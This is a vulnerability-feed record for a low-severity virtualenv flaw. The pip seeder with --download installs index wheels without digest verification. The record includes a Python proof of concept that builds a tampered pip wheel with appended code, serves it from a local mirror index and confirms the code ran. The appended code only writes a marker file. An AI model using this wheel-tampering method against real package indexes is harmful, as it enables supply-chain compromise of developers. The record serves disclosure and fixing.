{"schema":"threatline.record/2","record":{"id":"CVE-2026-113717","aliases":["GHSA-cx28-75q4-x26q"],"summary":"virtualenv: Pip seeding with download omits wheel digest verification","details":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I->>V: serve modified pip wheel\n    V->>V: get_wheel(download=False)\n    V->>P: install with --download permitting index lookup\n    P->>I: select same-version index wheel\n    I->>E: modified pip installed without virtualenv digest check\n    E->>E: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f'<a href=\"{wheel_name}\">{wheel_name}</a>\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","categories":["Libraries & packages"],"product":"virtualenv","vendor":"pypa","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-cx28-75q4-x26q","source_modified_at":"2026-10-23T22:26:05Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"ecosystem":"pip","name":"virtualenv"},"range":"< 21.14.9"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-113717","source_modified_at":"2026-10-20T19:32:57.649Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"virtualenv","vendor":"pypa","versions":[{"status":"affected","version":"< 21.14.9"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-cx28-75q4-x26q","source_modified_at":"2026-10-23T22:30:04.118265613Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-cx28-75q4-x26q","source_modified_at":"2026-10-23T22:26:05Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"ecosystem":"pip","name":"virtualenv"},"version":"21.14.9"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-cx28-75q4-x26q","source_modified_at":"2026-10-23T22:30:04.118265613Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"version":"21.14.9"}],"cvss":2.3,"severity":"Low","kev":{"listed":false},"epss":{"probability":0.00297,"percentile":0.21215,"score_date":"2026-10-23"},"published_at":"2026-10-20T19:22:11.265Z","modified_at":"2026-10-23T22:30:04.118265613Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-cx28-75q4-x26q","fetched_at":"2026-10-24T00:31:04.721601Z","source_modified_at":"2026-10-23T22:26:05Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-113717","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T19:32:57.649Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-cx28-75q4-x26q","fetched_at":"2026-10-24T00:31:04.721601Z","source_modified_at":"2026-10-23T22:30:04.118265613Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113717","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113717","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/pypa/virtualenv/pull/3430","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-cx28-75q4-x26q","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-20T19:32:38.243331Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-23T22:30:04.118265613Z","content_hash":"46f94a677b7e7da68e09ebc2fc1988b1de286ef4b0b31262b7e43408aeda3b48"}}
